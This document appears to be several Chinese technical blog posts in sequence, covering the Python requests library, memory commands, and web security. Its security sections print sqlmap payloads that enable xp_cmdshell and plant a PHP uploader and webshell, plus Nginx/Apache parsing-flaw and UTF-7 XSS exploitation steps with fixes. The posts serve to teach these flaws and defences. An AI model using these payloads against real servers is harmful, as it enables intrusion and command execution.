0x01 requests.get()


r = requests.get(url, params={}, headers={}, cookies={}, allow_redirects=True, timeout=float, proxies={}, verify=True)

参数名 类型 说明
url str 请求地址, 必填
params dict 设置参数,字典类型,如:{‘key1’: ‘value1’, ‘key2’: ‘value2’};
headers dict 设置头部,字典类型,如:{‘user-agent’: ‘my-app/0.0.1’};
cookies dict 设置cookie,字典类型,如:{“key”: “value”};
allow_redirects bool 设置重定向,默认开启;
timeout float 设置请求超时时间(s);
proxies dict 设置代理,字典类型,如:{“http”: “http://10.10.1.10:8080“};
verify bool 设置证书验证,默认True,也可以是CA库地址;

 

0x02 requests.post()


r = requests.post(url, data={}, headers={}, cookies={}, json=”, files={}, allow_redirects=True, timeout=float, proxies={}, verify=True)

参数名 类型 说明
url str 请求地址, 必填
data dict 设置表单数据,字典类型;也可以接收 json.dumps()过后的数据;
headers dict 设置头部,字典类型,如:{‘user-agent’: ‘my-app/0.0.1’};
cookies dict 设置cookie,字典类型,如:{“key”: “value”};
json str 传递json数据,如:{‘key’: ‘value’};
files dict 上传文件,如:{‘file’: open(‘report.txt’, ‘rb’)}. 注:最好使用二进制打开文件;
allow_redirects bool 设置重定向,默认开启;
timeout float 设置请求超时时间(s);
proxies dict 设置代理,字典类型,如:{“http”: “http://10.10.1.10:8080“};
verify bool 设置证书验证,默认True,也可以是CA库地址;

 

默认requests发送请求时是可以响应跳转的,也就是页面本来响应码是302,但是我们通过r.status_code获取到的却是200,我们来测试一下:

Curl本身是不会响应跳转的

[root@localhost tmp]# curl -I http://10.59.0.248:443/lua/if_stats.lua

HTTP/1.1 302 Found

Set-Cookie: session=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT; max-age=0; HttpOnly

Location: /lua/login.lua?referer=10.59.0.248:443/lua/if_stats.lua

可以看到响应码是302,但是我们使用requests请求一下。

>>> r = requests.get('http://10.59.0.248:443/lua/if_stats.lua')

>>> r.status_code

200

可以看到响应码为200

另外使用r.history也可以看到响应了302跳转

>>> r.history

[<Response [302]>]

这里requests包提供了allow_redirects参数用于指定是否响应302跳转。

>>> r = requests.get('http://10.59.0.248:443/lua/if_stats.lua', allow_redirects=False)

>>> r.status_code

302

 

0x03 请求响应


字段 类型 说明
r.url str 被编码后的请求url
r.text unicode 返回处理后的Unicode型数据
r.content str 返回bytes型的原始数据(二进制)
r.json() dict 将json数据解码后返回
r.status_code int 返回响应状态码
r.raise_for_status() 若发送一个错误请求,则抛出此异常
r.headers dict 服务器响应头部信息
r.cookies dict Response中的cookies.
r.history list Response对象(请求历史)列表,按最老到最近的请求进行排序
r.encoding str r.text输出的编码格式,也就是网页编码
r.apparent_encoding str r.content原始数据编码类型
r.elapsed 请求url花费时间
r.request.headers dict 请求头信息

 

r.request.headers

>>> r.request.headers

{'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.18.4'}

可以看到默认Request发送的UA是python-requests/2.18.4,如果用request去爬取一些站点很容易识别到,一定要自定义UA。

>>> headers = {'User-Agent': 'vinc'}

>>> r = requests.get('http://10.59.0.248:443/lua/if_stats.lua',headers=headers)

>>> r.request.headers

{'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'vinc'}

 

r.json()

requests中已经有了内置r.json()函数用于处理返回的Json格式内容

>>>r = requests.get('http://ip.taobao.com/service/getIpInfo.php?ip=122.88.60.28')

>>>r.json()['data']['country']

'中国'

 

r.cookies

将CookieJar转为字典;

>>> r = requests.get('http://www.hao123.com')

>>> requests.utils.dict_from_cookiejar(r.cookies)

{'hz': '0', 'BAIDUID': 'CE079CF1EAF562FA41FF35634C6D54B0:FG=1', 'ft': '1', 'v_pg': 'normal'}

 

Mssql


mssql想要执行命令需要支持Stacked Queries。使用mssql 2005测试。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure开启它。
使用sqlmap -v 3来查看sqlmap的Payload

[16:13:05] [PAYLOAD] 1;DECLARE @hihq VARCHAR(8000);SET @hihq=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @hihq--
0x70696e67202d6e203130203132372e302e302e31

转换为字符串为ping -n 10 127.0.0.1
通过响应时间来判断是否可以执行命令

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[16:16:26] [PAYLOAD] 1;EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--

通过EXEC master..sp_configure ‘xp_cmdshell’,1; RECONFIGURE WITH OVERRIDE; 启用xp_cmdshell

[16:19:59] [INFO] xp_cmdshell re-enabled successfully

然后创建一张表来写入命令执行的输出

[16:19:59] [PAYLOAD] 1;DROP TABLE sqlmapoutput--
[16:19:59] [PAYLOAD] 1;CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[16:19:59] [PAYLOAD] 1;DECLARE @iqoj VARCHAR(8000);SET @iqoj=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @iqoj--
0x6563686f2031为echo 1
[16:19:59] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:19:59] [PAYLOAD] 1;DELETE FROM sqlmapoutput--

os-shell> whoami
[16:24:38] [PAYLOAD] 1;DECLARE @xgsv VARCHAR(8000);SET @xgsv=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @xgsv--
[16:24:38] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:24:38] [DEBUG] performed 1 queries in 0.04 seconds
[16:24:38] [PAYLOAD] 1;DELETE FROM sqlmapoutput--
command standard output: 'nt authority\system'

 

Mysql


python sqlmap.py -r r.txt --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

直接回车选择默认PHP

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /v
ar/www/nginx-default') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search

1为默认apache的默认Web路径,可以通过报错信息获取到Web程序的绝对路径,选择2输入
please provide a comma separate list of absolute directory paths: /var/www/html/
先看一下sqlmap的打印信息

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'
[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via UNION
method
[10:25:02] [INFO] the remote file '/var/www/html/tmpuhgbs.php' is larger (706 B)
than the local file 'c:\users\dell\appdata\local\temp\sqlmappmmrsn14284\tmpdctw
k9' (705B)
[10:25:02] [INFO] the file stager has been successfully uploaded on '/var/www/ht
ml/' - http://192.168.192.120:80/tmpuhgbs.php
[10:25:02] [INFO] the backdoor has been successfully uploaded on '/var/www/html/
' - http://192.168.192.120:80/tmpbewox.php
[10:25:02] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

然后对应着Mysql的查询日志来看一下:

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'

通过LINES TERMINATED BY的方法来写入PHP文件

SELECT first_name, last_name FROM users WHERE user_id = '' LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuscdb.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

LINES TERMINATED BY表示查询记录的每行以By后面的内容分割,这里因为查询user_id为空所以没有查询到记录,所以此文件为空。如果将id的参数修改为1,则有一条查询内容,那么这段PHP文件上传程序就可以成功写入文件。

然后通过into outfile的方式来写入文件

SELECT first_name, last_name FROM users WHERE user_id = '-1181' UNION ALL SELECT 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a,NULL INTO DUMPFILE '/var/www/html/tmpuhgbs.php'-- -'

这段16进制的内容为:

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";}?>

是一段文件上传的代码
然后判断文件上传是否成功

SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT CONCAT(0x71786a6b71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f7661722f7777772f68746d6c2f746d7075686762732e706870)) AS CHAR),0x20),0x7178767871),NULL-- -'

文件上传成功,可以看到属主和属组都是mysql。
-rw-rw-rw- 1 mysql mysql 706 6月 17 10:21 tmpuhgbs.php
然后通过tmpuhgbs.php直接上传webshell,可以看到权限为apache。
-rwxr-xr-x 1 apache apache 908 6月 17 10:21 tmpbewox.php
然后就可以执行系统命令了

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'apache'

PS:有时因为中途退出会导致命令执行没有回显
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] No output
需要清空一下C:\USERS\XXX\.SQLMAP\OUTPUT\

0x01 Free


[root@template tmp]# free -m

             total       used       free     shared    buffers     cached

Mem:         15724        840      14883          0        213        214

-/+ buffers/cache:        412      15311

Swap:         4999          0       4999

这里先说一下buffer与cache

buffers 就是存放要输出到disk(块设备)的数据,缓冲满了一次写,提高io性能(内存 -> 磁盘)

cached 就是存放从disk上读出的数据,常用的缓存起来,减少io(磁盘 -> 内存)

 

然后我们看一下每个值具体的含义:

Mem

Mem:表示物理内存统计

-/+ buffers/cached:表示物理内存的缓存统计

Swap:表示硬盘上交换分区的使用情况

 

系统的总物理内存:15724M,注意第一行的Free并非是真正可用的内存。我们来看下每个值具体的含义

total1:表示物理内存总量

used1:表示总计分配给缓存(包含buffers 与cache )使用的数量,但其中可能部分缓存并未实际使用

free1:未被分配的内存

shared1:共享内存

buffers1:系统分配但未被使用的buffers 数量

cached1:系统分配但未被使用的cache 数量

 

-/+buffers/cache

used2:实际使用的buffers 与cache 总量,也是实际使用的内存总量。

free2:未被使用的buffers 与cache 和未被分配的内存之和,这就是系统当前实际可用内存。

 

具体计算方式如下:

total1 = used1 + free1

total1 = used2 + free2

used1 = buffers1 + cached1 + used2

free2 = buffers1 + cached1 + free1

 

0x02 Top


[root@template tmp]# free -k        

             total       used       free     shared    buffers     cached

Mem:      16101816    1029264   15072552          0     220152     386804

-/+ buffers/cache:     422308   15679508

Swap:      5119992          0    5119992

[root@template tmp]#  top | head -n 5

top - 14:48:29 up 23:53,  3 users,  load average: 0.00, 0.01, 0.00

Tasks: 142 total,   1 running, 141 sleeping,   0 stopped,   0 zombie

Cpu(s):  0.2%us,  0.1%sy,  0.0%ni, 99.7%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st

Mem:  16101816k total,  1029388k used, 15072428k free,   220128k buffers

Swap:  5119992k total,        0k used,  5119992k free,   386800k cached

显示的值实际与我们使用Free第一行显示的数据几乎一致,但是top无法给出free 第二行的 -/+ buffers/cache 数据。所以top命令不能完全反映出物理内存的实际使用量,推荐用free查看物理内存的实际使用量。

 

0x03 Htop


查看内存显示的实际内存用量,与used2一致。

[root@template tmp]# yum install htop

[root@template tmp]# free -m

             total       used       free     shared    buffers     cached

Mem:         15724       1005      14719          0        214        377

-/+ buffers/cache:        412      15312

Swap:         4999          0       4999

 

0x01 概述


Nginx的解析漏洞都是与CGI接口有关,PHP5.3.3之后就自带了PHP-FPM。

另外现在网上的资料都是说从5.3.9开始,php官方加入了一个配置”security.limit_extensions”,默认状态下只允许执行扩展名为”.php”的文件。

可以查看/etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can

; prevent configuration mistakes on the web server side. You should only limit

; FPM to .php extensions to prevent malicious users to use other extensions to

; exectute php code.

; Note: set an empty value to allow all extensions.

; Default Value: .php

security.limit_extensions = .php .php3 .php4 .php5

可以看到默认值为.php。这样其实下面的解析漏洞是不受影响的。

不过现在CentOS6下通过yum安装的php-fpm:

[root@kafka112 ~]# yum install php-fpm -y

版本是5.3.3

[root@kafka112 ~]# rpm -qa | grep php-fpm

php-fpm-5.3.3-49.el6.x86_64

默认值为.php

[root@kafka112 php-fpm.d]# grep -B 1 'limit_extensions' www.conf

; Default Value: .php

;security.limit_extensions = .php .php3 .php4 .php5

与网上说法不太一致,测试需要注意。

 

0x02 fix_pathinfo


漏洞测试:

访问http://www.target.com/robots.txt

返回头Content-Type: text/plain

访问http://www.target.com/robots.txt/x.php

返回头Content-Type: text/html

也就是robots.txt被当做PHP解析。那么问题就来了,如果用户上传包含恶意代码的头像文件,然后利用该方法解析为PHP,那么就能轻松拿到shell。

其实该问题的根本原因在于php.ini中的cgi.fix_pathinfo配置,我们来看下cgi.fix_pathinfo配置

; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's

; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok

; what PATH_INFO is.  For more information on PATH_INFO, see the cgi specs.  Setting

; this to 1 will cause PHP CGI to fix it's paths to conform to the spec.  A setting

; of zero causes PHP to behave as before.  Default is 1.  You should fix your scripts

; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.

cgi.fix_pathinfo=0

如果开启了这个选项, 那么就会触发在PHP中的如下逻辑:

/*

 * if the file doesn't exist, try to extract PATH_INFO out

 * of it by stat'ing back through the '/'

 * this fixes url's like /info.php/test

 */

if (script_path_translated &&

     (script_path_translated_len = strlen(script_path_translated)) > 0 &&

     (script_path_translated[script_path_translated_len-1] == '/' ||

....//以下省略.

可以看到如果文件不存在,则会PATH_INFO作为PHP解析。

 

修复方案如下:

1)修改php.ini文件,将cgi.fix_pathinfo的值设置为0,完成后重启PHP-FPM。此操作可能会响应到正常功能。

2)在Nginx配置文件中添加以下代码:

  if ( $fastcgi_script_name ~ \..*\/.*php ) {

           return 403;

  }

 

0x03 空字节


漏洞描述:

在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非php文件中嵌入php代码,通过访问url+%00.php来执行其中的php代码。如:http://local/robots.txt%00.php会把robots.txt文件当作php来执行。

影响版本:

nginx 0.5.*

nginx 0.6.*

nginx 0.7 <= 0.7.65

nginx 0.8 <= 0.8.37

漏洞利用:

1.上传经过处理的包含php一句话木马的图片文件.

2.访问http://target.com/pathtopic/nginx.jpg%00.php获得shell

修复方案:

升级Nginx

 

0x04 CVE-2013-4547


影响版本
nginx 0.8.41 – 1.5.6

测试版本
nginx 1.2.9

漏洞测试
1)访问到不可访问文件
nginx中添加配置

location /vinc/ {
    deny all;
}
[root@vincent nginx]# curl 172.16.100.161/vinc/1.txt -I
HTTP/1.1 403 Forbidden

创建一个包含空格的目录test

[root@vincent html]# ls -F
50x.html index.html test / vinc/

然后通过curl访问就可以

[root@vincent vinc]# curl "172.16.100.161/test /../vinc/1.txt" 
hello

2)将非PHP文件解析为PHP

Linux环境+PHP5.5.38


这里先说明下php从5.3.3版本开始引入php-fpm。
从5.3.9开始,php官方加入了一个配置”security.limit_extensions”,默认状态下只允许执行扩展名为”.php”的文件。如果发送给Fastcgi的文件非.PHP,则会报错Access denied.
所以测试前提是配置
security.limit_extensions =
然后重启php-fpm。
创建文件1.txt (需要注意末尾有空格)我们修改1.txt ,内容为PHP代码:

<?php
    phpinfo();
?>

我们构造一个伪造请求,请求的地址为”/1.txt \0.php”,注意其中的空格没有编码。然后可以看到phpinfo解析了。

所以利用前提
1)构造文件名末尾带空格的文件,所以在实际环境中基本是不可能的。
2)php-fpm配置了security.limit_extensions =

Windows环境+PHP5.6.32


这个漏洞在Windows环境下的利用价值就大大增强了
1)测试发现Windows下php-fpm默认就可以解析其他类型文件,不是默认只解析PHP文件。
2)Windows会自动忽略对应文件名后的空格,所以文件名末尾带空格的文件不再需要。
也就是说在Windows环境下,用户上传包含Webshell的头像文件,就可以直接Getshell了。

创建文件1.txt(末尾不带空格),我们修改1.txt ,内容为PHP代码:

<?php
    phpinfo();
?>

我们构造一个伪造请求,请求的地址为”/1.txt \0.php”,结果如下:

 

 

0x01 概述


apache解析php可以通过加载module或者cgi的方式,我们通常说的apache解析漏洞是因为apache的配置错误导致的。

 

0x02 解析漏洞(一)


CentOS6下通过yum安装apache。

测试版本:2.2.15

yum安装php后,会生成配置文件/etc/httpd/conf.d/php.conf

内容如下:

[root@kafka111 html]# grep -v '^$' /etc/httpd/conf.d/php.conf | grep -v '^#'

<IfModule prefork.c>

  LoadModule php5_module modules/libphp5.so

</IfModule>

<IfModule worker.c>

  LoadModule php5_module modules/libphp5-zts.so

</IfModule>

AddHandler php5-script .php

AddType text/html .php

DirectoryIndex index.php

可以看到加载了php模块,另外

AddHandler php5-script .php

所有包含.php的文件都会被当做php来解析,如果没有该配置的话,PHP的源码就会被打印出来。

另外需要注意这里并非是以.php结尾的文件,为什么这么说呢。

[root@kafka111 html]# mv info.php info.php.jpg

访问发现还是可以解析php的。这个问题在2.4版本修复了。

这里我找一台CentOS7的机器,安装apache

测试版本:2.4.6

yum安装php后,会生成配置文件/etc/httpd/conf.d/php.conf

内容如下:

[root@localhost html]# grep -v '^$' /etc/httpd/conf.d/php.conf | grep -v '^#'

<FilesMatch \.php$>

    SetHandler application/x-httpd-php

</FilesMatch>

AddType text/html .php

DirectoryIndex index.php

php_value session.save_handler "files"

php_value session.save_path    "/var/lib/php/session"

可以看到这里原来

AddHandler php5-script .php

替换为

<FilesMatch \.php$>

    SetHandler application/x-httpd-php

</FilesMatch>

做了正则匹配,只有以.php结尾时才会当做php解析,从而避免了这个问题。

 

0x03 解析漏洞(二)


还是以apache版本2.2.15为例,为了避免上面提到的配置影响到PHP的解析,我们修改一下PHP解析的配置

注释掉/etc/httpd/conf.d/php.conf

#AddHandler php5-script .php

#AddType text/html .ph

然后添加一条PHP解析的配置

AddType application/x-httpd-php .php

apache安装后会有一个/etc/mime.types文件,文件内容如下:

# MIME type                                   Extensions

application/3gpp-ims+xml

application/activemessage

application/andrew-inset                    ez

application/applefile

application/atom+xml                         atom

该漏洞就是如果扩展名没有在mime.types出现,那么扩展名会左移查找下一个。我们修改一下扩展名

[root@kafka111 html]# mv info.php.jpg info.php.xxoo

首先xxoo肯定不是一个正常的扩展名,不在mime.types中,那么apache就会左移并将该文件以php解析。如下图所示

 

受影响浏览器版本为IE6,影响范围较小。

如果在Content-Type中没有设置charset,如下:

Content-Type:text/html

在meta标签中也没有设置字符集

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />

就可以通过字符集抢占的方式使浏览器以UTF-7解析。

<script>alert(1)</script>UTF-7编码为+ADw-script+AD4-alert(1)+ADw-/script+AD4-

但是还需要注意的是BOM头

utf-7 bom 目前知道的有4个,如下:

+/v8 | +/v9 | +/v+ | +/v/

可以通过设置BOM头修改编码,并且BOM头的优先级是最高的,只要能控制目标网页的开头是UTF-7 BOM头,即便你已经配置了

Content-Type:text/html; charset=utf-8

后续的内容仍可以以UTF-7方式编码。

从实际场景出发能控制网页开头就是Json callback。

修复建议:

1)配置默认编码,例如httpd.conf中

AddDefaultCharset UTF-8

2)针对Bom头,可以在返回网页内容最前面添加一个空格。针对Jsonp的话可以直接将Content-Type设置为application/json

测试代码:

<?php

echo $_GET[‘code’];

?>

IE6访问:http://192.168.192.120/utf7.php?code=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4-

修改代码添加一个空格:

<?php

echo ” “.$_GET[‘code’];

?>

可以看到无法解析了。